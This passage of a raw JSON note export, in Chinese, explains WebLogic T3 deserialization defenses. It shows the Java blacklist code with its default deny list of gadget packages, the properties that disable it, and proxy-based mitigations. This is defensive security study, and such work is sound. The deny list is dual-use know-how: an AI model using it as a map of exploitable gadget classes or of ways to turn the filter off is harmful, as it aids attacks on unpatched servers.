\&#34;weblogic.rmi.disabledefaultblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWZL-1673851061244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;77IP-1673851061243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vdld-1673851061246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ngCz-1673851061245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.disableblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vq-1673851061248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrOU-1673851061247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nqyw-1673851061250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN1B-1673851061249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final String DEFAULT_BLACK_LIST = \&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKYw-1673851061252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XPh2-1673851061251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OyDm-1673851061254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTDI-1673851061253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M6Db-1673851061256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMCo-1673851061255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O3L-1673851061258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WEcT-1673851061257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Ol7-1673851061260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6mDD-1673851061259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!isBlackListDisabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xP2U-1673851061262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2E45-1673851061261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      if (!isDefaultBlacklistEntriesDisabled())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6JIQ-1673851061264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEAs-1673851061263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        updateBlackList(\&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;); &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0oO-1673851061266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mlVQ-1673851061265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      updateBlackList(System.getProperty(\&#34;weblogic.rmi.blacklist\&#34;, null));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yq6g-1673851061268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmYh-1673851061267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fgrW-1673851061270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RywC-1673851061269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u6p5-1673851061272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faI0-1673851061271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpDD-1673851061274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPcD-1673851061273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isBlackListDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Xi4-1673851061276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6HO-1673851061275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disableblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ekh-1673851061278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyuU-1673851061277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRQz-1673851061280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWfM-1673851061279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHOz-1673851061282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m97l-1673851061281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isDefaultBlacklistEntriesDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqwn-1673851061284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJ7E-1673851061283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disabledefaultblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu27-1673851061286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qDCg-1673851061285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddRd-1673851061288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RyqE-1673851061287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQM9-1673851061290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxPl-1673851061289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void updateBlackList(String blackList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdBa-1673851061292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Er1-1673851061291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (blackList != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrU2-1673851061294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOrB-1673851061293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      StringTokenizer st = new StringTokenizer(blackList, \&#34;,\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLX4-1673851061297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HGBH-1673851061296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      while (st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b7Rt-1673851061299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sLF-1673851061298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWLW-1673851061301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;savD-1673851061300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        processToken(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKEa-1673851061303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jXj-1673851061302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKGC-1673851061305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8DO-1673851061304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4vP-1673851061307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1jz-1673851061306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFsw-1673851061309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q1s2-1673851061308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Co53-1673851061311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eBw6-1673851061310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void processToken(String token) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z5Kv-1673851061313&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G8Z-1673851061312&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (token.startsWith(\&#34;+\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IK75-1673851061315&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ixYc-1673851061314&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZylG-1673851061317&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LV1l-1673851061316&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (token.startsWith(\&#34;-\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osyv-1673851061319&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GoX2-1673851061318&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.remove(token.substring(1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bd28-1673851061321&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;poMK-1673851061320&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XHWQ-1673851061323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dXtA-1673851061322&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      BLACK_LIST.add(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mrg0-1673851061325&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xjAU-1673851061324&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hi5x-1673851061327&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;soXm-1673851061326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDJe-1673851061329&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ADzX-1673851061328&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZI4-1673851061331&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;55pd-1673851061330&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  public static boolean isBlackListed(String className) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bGnI-1673851061333&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EuXY-1673851061332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    String pkgName;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RlmW-1673851061335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SJ-1673851061334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (className.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(className))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nehr-1673851061337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sTO7-1673851061336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return true; &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fM7V-1673851061339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s83w-1673851061338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4tS0-1673851061341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TYek-1673851061340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      pkgName = className.substring(0, className.lastIndexOf(&#39;.&#39;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NNfy-1673851061343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h3gU-1673851061342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5rV-1673851061345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TxRR-1673851061344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      return false;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fj6y-1673851061347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOMf-1673851061346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OQfZ-1673851061349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ql3q-1673851061348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return (pkgName.length() &gt; 0 &amp;&amp; BLACK_LIST.contains(pkgName));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UsyO-1673851061351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GSo9-1673851061350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vq96-1673851061353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVPD-1673851061352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjAS-1673851061355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp18-1673851061354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uwb8-1673850999749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LmuJ-1673850999750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I2SQ-1673575672005&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eweA-1673575672003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;这个黑名单主要作用于三个类的resolveClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KoXv-1673851226175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GQR5-1673851226170&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yiIY-1673851226169&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lgLX-1673851243711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SQc9-1673851243710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Y8-1673851251940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaKe-1673851251938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1sQ-1673851175093&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5066/WEBRESOURCEaa67ba749ec95132a8a9d2009336aac9&#34;,&#34;width&#34;:701,&#34;height&#34;:446},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eyJ0-1673851195103&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5069/WEBRESOURCEf91448afe07646b9fb97574ec83a59df&#34;,&#34;width&#34;:690,&#34;height&#34;:437},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y41A-1673851218116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5071/WEBRESOURCE3aebdcb965d90c3657fe63a1626c4e94&#34;,&#34;width&#34;:676,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGMV-1673851203371&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ndd2-1673851203369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VoOq-1673575776072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJH7-1673575776073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnhA-1673575890560&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQ9-1673575890559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8DI-1673575890562&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673